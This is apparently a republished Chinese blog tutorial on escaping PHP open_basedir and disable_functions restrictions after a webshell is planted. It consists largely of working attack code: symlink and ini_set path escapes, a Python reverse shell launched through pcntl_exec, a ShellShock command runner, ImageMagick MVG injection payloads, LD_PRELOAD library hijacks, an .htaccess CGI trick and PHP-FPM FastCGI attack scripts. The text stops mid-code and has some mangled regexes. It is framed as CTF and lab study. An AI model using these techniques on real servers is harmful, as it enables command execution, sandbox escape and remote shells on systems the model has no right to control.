天天看點

php中函數禁用繞過的原理與利用bypass disable function

bypass disable function

是否遇到過費勁九牛二虎之力拿了webshell卻發現連個scandir都執行不了?拿了webshell确實是一件很歡樂的事情,但有時候卻僅僅隻是一個小階段的結束;本文将會以webshell作為起點從頭到尾來歸納bypass disable function的各種姿勢。

本文涉及相關實驗:繞過函數過濾(通過本實驗學會通過寬位元組方式繞過mysql_real_escape_string()、addslashes()這兩個函數。)

從phpinfo中擷取可用資訊

資訊收集是不可缺少的一環;通常的,我們在通過前期各種工作成功執行代碼 or 發現了一個phpinfo頁面之後,會從該頁面中搜集一些可用資訊以便後續漏洞的尋找。

我談談我個人的幾個偏向點:

版本号

最直覺的就是php版本号(雖然版本号有時候會在響應頭中出現),如我的機器上版本号為:

PHP Version 7.2.9-1
           

那麼找到版本号後就會綜合看看是否有什麼"版本專享"漏洞可以利用。

DOCUMENT_ROOT

接下來就是搜尋一下DOCUMENT_ROOT取得網站目前路徑,雖然常見的都是在/var/www/html,但難免有例外。

disable_functions

這是本文的重點,disable_functions顧名思義函數禁用,以筆者的kali環境為例,預設就禁用了如下函數:

php中函數禁用繞過的原理與利用bypass disable function

如一些ctf題會把disable設定的極其惡心,即使我們在上傳馬兒到網站後會發現什麼也做不了,那麼此時的繞過就是本文所要講的内容了。

open_basedir

該配置限制了目前php程式所能通路到的路徑,如筆者設定了:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
phpinfo();
           

随後我們能夠看到phpinfo中出現如下:

php中函數禁用繞過的原理與利用bypass disable function

嘗試scandir會發現列根目錄失敗。

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
//phpinfo();
var_dump(scandir("."));
var_dump(scandir("/"));
//array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false)
           

opcache

如果使用了opcache,那麼可能達成getshell,但需要存在檔案上傳的點,直接看連結:

https://www.cnblogs.com/xhds/p/13239331.html

others

如檔案包含時判斷協定是否可用的兩個配置項:

allow_url_include、allow_url_fopen
           

上傳webshell時判斷是否可用短标簽的配置項:

short_open_tag
           

還有一些會在下文中講到。

bypass open_basedir

因為有時需要根據題目判斷采用哪種bypass方式,同時,能夠列目錄對于下一步測試有不小幫助,這裡列舉幾種比較常見的bypass方式,均從p神部落格摘出,推薦閱讀p神部落格原文,這裡僅作簡略總結。

syslink

https://www.php.net/manual/zh/function.symlink.php

symlink ( string

$target

, string

$link

) : bool

symlink()對于已有的

target

建立一個名為

link

的符号連接配接。

簡單來說就是建立軟鍊達成bypass。

代碼實作如下:

<?php
symlink("abc/abc/abc/abc","tmplink"); 
symlink("tmplink/../../../../etc/passwd", "exploit"); 
unlink("tmplink"); 
mkdir("tmplink");
           

首先是建立一個link,将tmplink用相對路徑指向abc/abc/abc/abc,然後再建立一個link,将exploit指向tmplink/../../../../etc/passwd,此時就相當于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相當于exploit指向了./etc/passwd,此時删除tmplink檔案後再建立tmplink目錄,此時就變為/etc/passwd成功跨目錄。

通路exploit即可讀取到/etc/passwd。

glob

查找比對的檔案路徑模式,是php自5.3.0版本起開始生效的一個用來篩選目錄的僞協定

常用bypass方式如下:

<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
 echo($f->__toString().'<br>');
}
?>
           

但會發現比較神奇的是隻能列舉根目錄下的檔案。

chdir()與ini_set()

chdir是更改目前工作路徑。

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');
           

利用了ini_set的open_basedir的設計缺陷,可以用如下代碼觀察一下其bypass過程:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
//open_basedir : ..
//open_basedir : /
           

bindtextdomain

該函數的第二個參數為一個檔案路徑,先看代碼:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');

printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', '/etc/passwd');
var_dump($re);
$re = bindtextdomain('xxx', '/etc/passw');
var_dump($re);
//open_basedir: /var/www/html:/tmp
//string(11) "/etc/passwd" bool(false)
           

可以看到當檔案不存在時傳回值為false,因為不支援通配符,該方法隻能适用于linux下的暴力猜解檔案。

Realpath

同樣是基于報錯,但realpath在windows下可以使用通配符

<

>

進行列舉,腳本摘自p神部落格:

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>
           

other

如指令執行事實上是不受open_basedir的影響的。

bypass disable function

蟻劍項目倉庫中有一個各種disable的測試環境可以複現,需要環境的師傅可以選用蟻劍的環境。

https://github.com/AntSwordProject/AntSword-Labs

黑名單突破

這個應該是最簡單的方式,就是尋找替代函數來執行,如system可以采用如反引号來替代執行指令。

看幾種常見用于執行系統指令的函數:

system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``
           

當然了這些也常常出現在disable function中,那麼可以尋找可以比較容易被忽略的函數,通過函數 or 函數組合拳來執行指令。

  • 反引号:最容易被忽略的點,執行指令但回顯需要配合其他函數,可以反彈shell
  • pcntl_exec:目标機器若存在python,可用php執行python反彈shell
<?php 
pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
           

ShellShock

原理

本質是利用bash破殼漏洞(CVE-2014-6271)。

影響範圍在于bash 1.14 – 4.3

關鍵在于:

目前的bash腳本是以通過導出環境變量的方式支援自定義函數,也可将自定義的bash函數傳遞給子相關程序。一般函數體内的代碼是不會被執行,但此漏洞會錯誤的将“{}”花括号外的指令進行執行。

本地驗證方法:

在shell中執行下面指令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

執行指令後,如果顯示Vulnerable CVE-2014-6271,證系統存在漏洞,可改變echo Vulnerable CVE-2014-6271為任意指令進行執行。

詳見:https://www.antiy.com/response/CVE-2014-6271.html

因為是設定環境變量,而在php中存在着putenv可以設定環境變量,配合開啟子程序來讓其執行指令。

利用

https://www.exploit-db.com/exploits/35146

<?php
function shellshock($cmd) {
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   error_log('a',1);
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>
           

将exp上傳後即可執行系統指令bypass disable,就不做過多贅述。

ImageMagick

原理

漏洞源于CVE-2016-3714,ImageMagick是一款圖檔處理程式,但當使用者傳入一張惡意圖檔時,會造成指令注入,其中還有其他如ssrf、檔案讀取等,當然最緻命的肯定是指令注入。

而在漏洞出來之後各位師傅聯想到php擴充中也使用了

ImageMagick

,當然也就存在着漏洞的可能,并且因為漏洞的原理是直接執行系統指令,是以也就不存在是否被disable的可能,是以可以被用于bypass disable。

關于更加詳細的漏洞分析請看p神的文章:CVE-2016-3714 - ImageMagick 指令執行分析,我直接摘取原文中比較具有概括性的漏洞說明:

漏洞報告中給出的POC是利用了如下的這個委托:
<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>
           

它在解析https圖檔的時候,使用了curl指令将其下載下傳,我們看到%M被直接放在curl的最後一個參數内。ImageMagick預設支援一種圖檔格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的内容,而這其中就可以包含https處理過程。

是以我們可以構造一個.mvg格式的圖檔(但檔案名可以不為.mvg,比如下圖中包含payload的檔案的檔案名為vul.gif,而ImageMagick會根據其内容識别為mvg圖檔),并在https://後面閉合雙引号,寫入自己要執行的指令:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
           
這樣,ImageMagick在正常執行圖檔轉換、處理的時候就會觸發漏洞。

漏洞的利用極其簡單,隻需要構造一張惡意的圖檔,new一個類即可觸發該漏洞:

<?php
new Imagick('test.mvg');
           

利用

那麼依舊以靶場題為例,依舊以擁有一句話馬兒為前提,我們首先上傳一個圖檔,如上面所述的我們圖檔的字尾無需mvg,是以上傳一個jpg圖檔:

php中函數禁用繞過的原理與利用bypass disable function
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`'
pop graphic-context
           

那麼因為我們看不到回顯,是以可以考慮将結果寫入到檔案中,或者直接執行反彈shell。

然後如上上傳一個poc.php:

<?php
new Imagick('vul.jpg');
           

通路即可看到我們寫入的檔案。

那麼這一流程頗為繁瑣(當我們需要多次執行指令進行測試時就需要多次調整圖檔内容),是以我們可以寫一個php馬來動态傳入指令:

<?php
$command = $_GET['cmd'];

if ($command == '') {
    $command = 'whoami>success';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`'
pop graphic-context
EOF;

file_put_contents("test.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('test.mvg');
$thumb->writeImage('test.png');
$thumb->clear();
$thumb->destroy();
unlink("test.mvg");
unlink("test.png");
?>
           

LD_PRELOAD

喜聞樂見的LD_PRELOAD,這是我學習web時遇到的第一個bypass disable的方式,個人覺得很有意思。

原理

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程式的運作時的連結(Runtime linker),它允許你定義在程式運作前優先加載的動态連結庫。這個功能主要就是用來有選擇性的載入不同動态連結庫中的相同函數。通過這個環境變量,我們可以在主程式和其動态連結庫的中間加載别的動态連結庫,甚至覆寫正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需别人的源碼),而另一方面,我們也可以以向别人的程式注入程式,進而達到特定的目的。

而我們bypass的關鍵就是利用LD_PRELOAD加載庫優先的特點來讓我們自己編寫的動态連結庫優先于正常的函數庫,以此達成執行system指令。

因為id指令比較易于觀察,網上文章也大同小異采用了id指令下的getuid/getgid來做測試,為做個試驗筆者換成了

我們先看看id指令的調用函數:

strace -f /usr/bin/id
           

Resulut:

close(3)                                = 0
geteuid32()                             = 0
getuid32()                              = 0
getegid32()                             = 0
getgid32()                              = 0
(省略....)
getgroups32(0, NULL)                    = 1
getgroups32(1, [0])                     = 1
           

這裡可以看到有不少函數可以編寫,我選擇getgroups32,我們可以用man指令檢視一下函數的定義:

man getgroups32
           

看到這一部分:

php中函數禁用繞過的原理與利用bypass disable function

得到了函數的定義,我們隻需要編寫其内的getgroups即可,是以我編寫一個hack.c:

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int getgroups(int size, gid_t list[]){

	unsetenv("LD_PRELOAD");
	system("echo 'i hack it'");
	return 1;
}
           

然後使用gcc編譯成一個動态連結庫:

gcc -shared -fPIC hack.c -o hack.so
           

使用LD_PRELOAD加載并執行id指令,我們會得到如下的結果:

php中函數禁用繞過的原理與利用bypass disable function

再來更改一下uid測試,我們先adduser一個新使用者hhhm,執行id指令結果如下:

php中函數禁用繞過的原理與利用bypass disable function

然後根據上面的步驟取得getuid32的函數定義,據此來編寫一個hack.c:

#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }
           

gcc編譯後,執行,結果如下:

php中函數禁用繞過的原理與利用bypass disable function

可以看到我們的uid成功變為1,且更改為root了,當然了因為我們的hack.so是root權限編譯出來的,在一定條件下也許可以用此種方式來提權,網上也有相關文章,不過我沒實際嘗試過就不做過分肯定的說法。

下面看看在php中如何配合利用達成bypass disable。

php中的利用

php中主要是需要配合putenv函數,如果該函數被ban了那麼也就沒他什麼事了,是以bypass前需要觀察disable是否ban掉putenv。

php中的利用根據大師傅們的文章我主要提取出下面幾種利用方式,其實質都是大同小異,需要找出一個函數然後采用相同的機制覆寫掉其函數進而執行系統指令。

那麼我們受限于disable,system等執行系統指令的函數無法使用,而若想要讓php調用外部程式來進一步達成執行系統指令進而達成bypass就隻能依賴與php解釋器本身。

是以有一個大前提就是需要從php解釋器中啟動子程序。

老套路之mail

先選取一台具有sendmail的機器,筆者是使用kali,先在php中寫入如下代碼

<?php
mail("","","","");
           

同樣的可以使用strace來追蹤函數的執行過程。

strace -f php phpinfo.php 2>&1 | grep execve
           
php中函數禁用繞過的原理與利用bypass disable function

可以看到這裡調用了sendmail,與網上的文章同樣的我們可以追蹤sendmail來檢視其調用過程,或者使用readelf可以檢視其使用函數:

strace sendmail
           
php中函數禁用繞過的原理與利用bypass disable function

那麼以上面的方式編寫并編譯一個動态連結庫然後利用LD_PRELOAD去執行我們的指令,這就是老套路的利用。

因為沒有回顯,為友善檢視效果我寫了一個ls>test,是以hack.c如下:

#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { system("ls>test"); return 0; }
uid_t getuid( void ) { return 1; }
uid_t getgid( void ) { return 0; }
           

同樣的gcc編譯後,頁面寫入如下:

<?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
?>
           

通路頁面得到運作效果如下:

php中函數禁用繞過的原理與利用bypass disable function

再提一個我在利用過程中走錯的點,這裡為測試,我換用一台沒有sendmail的ubuntu:

php中函數禁用繞過的原理與利用bypass disable function

但如果我們按照上面的步驟直接追蹤index的執行而不過濾選取execve會發現同樣存在着geteuid,并且但這事實上是sh調用的而非mail調用的,是以如果我們使用php index.php來調用會發現system執行成功,但如果我們通過頁面來通路則會發現執行失敗,這是一個在利用過程中需要注意的點,這也就是為什麼我們會使用管道符來選取execve。

第一個execve為php解釋器啟動的程序,而後者即為我們所需要的sendmail子程序。

error_log

同樣的除了mail會調用sendmail之外,還有error_log也會調用,如圖:

php中函數禁用繞過的原理與利用bypass disable function

ps:當error_log的type為1時就會調用到sendmail。

是以上面針對于mail函數的套路對于error_log同樣适用,however,我們會發現此類劫持都隻是針對某一個函數,而前面所做的都是依賴與sendmail,而像目标機器如果不存在sendmail,那麼前面的做法就完全無用。

yangyangwithgnu師傅在其文無需sendmail:巧用LD_PRELOAD突破disable_functions提到了我們不要局限于僅劫持某一函數,而應考慮劫持共享對象。

劫持共享對象

文中使用到了如下代碼編寫的庫:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void anything (void){
    unsetenv("LD_PRELOAD");
    system("ls>test");
}
           

那麼關于

__attribute__ ((__constructor__))

個人了解是其會在共享庫加載時運作,也就是程式啟動時運作,那麼這一步的利用同樣需要有前面說到的啟動子程序這一個大前提,也就是需要有類似于mail、Imagick可以令php解釋器啟動新程序的函數。

同樣的将LD_PRELOAD指定為gcc編譯的共享庫,然後通路頁面檢視,會發現成功将ls寫到test下(如果失敗請檢查寫權限問題)

0ctf 2019中Wallbreaker Easy中的出題點就是采用了imagick在處理一些特定字尾檔案時,會調用ffmpeg,也就是會開啟子程序,進而達成加載共享庫執行系統指令bypass disable。

Apache Mod CGI

前面的兩種利用都需要putenv,如果putenv被ban了那麼就需要這種方式,簡單介紹一下原理。

原理

利用htaccess覆寫apache配置,增加cgi程式達成執行系統指令,事實上同上傳htaccess解析png檔案為php程式的利用方式大同小異。

mod cgi:

任何具有MIME類型

application/x-httpd-cgi

或者被

cgi-script

處理器處理的檔案都将被作為CGI腳本對待并由伺服器運作,它的輸出将被傳回給用戶端。可以通過兩種途徑使檔案成為CGI腳本,一種是檔案具有已由

AddType

指令定義的擴充名,另一種是檔案位于

ScriptAlias

目錄中。

是以我們隻需上傳一個.htaccess:

Options +ExecCGI  //使運作cgi程式的執行
AddHandler cgi-script .test	//将test字尾的檔案解析為cgi程式

           

利用

利用就很簡單了:

  • 上傳htaccess,内容為上文所給出的内容
  • 上傳a.test,内容為:
#!/bin/bash
echo&&ls

           

給a.test權限,通路即可得到執行結果。

PHP-FPM

php-fpm相信有讀者在配置php環境時會遇到,如使用nginx+php時會在配置檔案中配置如下:

location ~ .php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
           

那麼看看百度百科中關于php-fpm的介紹:

PHP-FPM(FastCGI Process Manager:FastCGI程序管理器)是一個PHPFastCGI管理器,對于PHP 5.3.3之前的php來說,是一個更新檔包 [1] ,旨在将FastCGI程序管理整合進PHP包中。如果你使用的是PHP5.3.3之前的PHP的話,就必須将它patch到你的PHP源代碼中,在編譯安裝PHP後才可以使用。

那麼fastcgi又是什麼?Fastcgi 是一種通訊協定,用于Web伺服器與後端語言的資料交換。

原理

那麼我們在配置了php-fpm後如通路http://127.0.0.1/test.php?test=1,那麼會被解析為如下鍵值對:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/test.php',
    'SCRIPT_NAME': '/test.php',
    'QUERY_STRING': '?test=1',
    'REQUEST_URI': '/test.php?test=1',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12304',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

           

這個數組很眼熟,會發現其實就是

$_SERVER

裡面的一部分,那麼php-fpm拿到這一個數組後會去找到SCRIPT_FILENAME的值,對于這裡的/var/www/html/test.php,然後去執行它。

前面筆者留了一個配置,在配置中可以看到fastcgi的端口是9000,監聽位址是127.0.0.1,那麼如果位址為0.0.0.0,也即是将其暴露到公網中,倘若我們僞造與fastcgi通信,這樣就會導緻遠端代碼執行。

那麼事實上php-fpm通信方式有tcp也就是9000端口的那個,以及socket的通信,是以也存在着兩種攻擊方式。

socket方式的話配置檔案會有如下:

fastcgi_pass unix:/var/run/phpfpm.sock;

           

那麼我們可以稍微了解一下fastcgi的協定組成,其由多個record組成,這裡摘抄一下p神原文中的一段結構體:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的類型
  unsigned char requestIdB1; // 本次record對應的請求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body體的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 額外塊大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;
           

可以看到record分為header以及body,其中header固定為8位元組,而body由其contentLength決定,而paddingData為保留段,不需要時長度置為0。

而type的值從1-7有各種作用,當其type=4時,後端就會将其body解析成key-value,看到key-value可能會很眼熟,沒錯,就是我們前面看到的那一個鍵值對數組,也就是環境變量。

那麼在學習漏洞利用之前,我們有必要了解兩個環境變量,

  • PHP_VALUE:可以設定模式為

    PHP_INI_USER

    PHP_INI_ALL

    的選項
  • PHP_ADMIN_VALUE:可以設定所有選項(除了disable_function)

那麼以p神文中的利用方式我們需要滿足三個條件:

  • 找到一個已知的php檔案
  • 利用上述兩個環境變量将auto_prepend_file設定為php://input
  • 開啟php://input需要滿足的條件:allow_url_include為on

此時熟悉檔案包含漏洞的童鞋就一目了然了,我們可以執行任意代碼了。

這裡利用的情況為:

'PHP_VALUE': 'auto_prepend_file = php://input'
'PHP_ADMIN_VALUE': 'allow_url_include = On'

           

利用

我們先直接看phpinfo如何辨別我們可否利用該漏洞進行攻擊。

php中函數禁用繞過的原理與利用bypass disable function

那麼先以攻擊tcp為例,倘若我們僞造nginx發送資料(fastcgi封裝的資料)給php-fpm,這樣就會造成任意代碼執行漏洞。

p神已經寫好了一個exp,因為開放fastcgi為0.0.0.0的情況事實上同攻擊内網相似,是以這裡可以嘗試一下攻擊127.0.0.1也就是攻擊内網的情況,那麼事實上我們可以配合gopher協定來攻擊内網的fpm,因為與本文主題不符就不多講。

python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'

           

可以看到結果如圖所示:

php中函數禁用繞過的原理與利用bypass disable function

攻擊成功後我們去檢視一下phpinfo會看到如下:

php中函數禁用繞過的原理與利用bypass disable function

也就是說我們構造的攻擊包為:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/phpinfo.php',
    'SCRIPT_NAME': '/phpinfo.php',
    'QUERY_STRING': '',
    'REQUEST_URI': '/phpinfo.php',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12304',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1',
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

           

很明顯的前面所說的都是成立的;然而事實上我這裡是沒有加入disable的情況,我們往裡面加入disable再嘗試。

pkill php-fpm
/usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini

           

注意修改了ini檔案後重新開機fpm需要指定ini。

我往disable裡壓了一個system:

pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

           

然後再執行一下exp,可以發現被disable了:

php中函數禁用繞過的原理與利用bypass disable function

是以此種方法還無法達成bypass disable的作用,那麼不要忘了我們的兩個php_value能夠修改的可不僅僅隻是auto_prepend_file,并且的我們還可以修改basedir來繞過;在先前的繞過姿勢中我們是利用到了so檔案執行擴充庫來bypass,那麼這裡同樣可以修改extension為我們編寫的so庫來執行系統指令,具體利用有師傅已經寫了利用腳本,事實上蟻劍中的插件已經能實作了該bypass的功能了,那麼下面我直接對蟻劍中插件如何實作bypass做一個簡要分析。

在執行蟻劍的插件時會發現其在目前目錄生成了一個.antproxy.php檔案,那麼我們後續的bypass都是通過該檔案來執行,那麼先看一下這個shell的代碼:

<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str[0]);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("

",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
           

定位到關鍵代碼:

$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
           

可以看到它這裡向60882端口進行通信,事實上這裡蟻劍使用

/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html

開啟了一個新的php服務,并且不使用php.ini,是以也就不存在disable了,那麼我們在觀察其執行過程會發現其還在tmp目錄下上傳了一個so檔案,那麼至此我們有理由推斷出其通過攻擊php-fpm修改其extension為在tmp目錄下上傳的擴充庫,事實上從該插件的源碼中也可以得知确實如此:

php中函數禁用繞過的原理與利用bypass disable function

那麼啟動了該php server後我們的流量就通過antproxy.php轉發到無disabel的php server上,此時就成功達成bypass。

加載so擴充

前面雖然解釋了其原理,但畢竟理論與實踐有所差別,是以我們可以自己打一下extension進行測試。

so檔案可以從項目中擷取,根據其提示編譯即可擷取ant.so的庫,修改php-fpm的php.ini,加入:

extension=/var/www/html/ant.so

           

然後重新開機php-fpm,如果使用如下:

<?php
antsystem("ls");
           

成功執行指令時即說明擴充成功加載,那麼我們再把ini恢複為先前的樣子,我們嘗試直接攻擊php-fpm來修改其配置項。

以腳本來攻擊:

import requests

sess = requests.session()

def execute_php_code(s):
    res = sess.post('http://192.168.242.5/index.php', data={"a": s})
    return res.text


code = '''
class AA
{
    const VERSION_1            = 1;

    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;

    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;

    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;

    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';

    const HEADER_LEN           = 8;

    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;

    /**
     * Host
     * @var String
     */
    private $_host = null;

    /**
     * Port
     * @var Integer
     */
    private $_port = null;

    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;

    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }

    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }

    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }

    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            $this->_sock = fsockopen($this->_host);
            var_dump($this->_sock);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }

    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }

    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
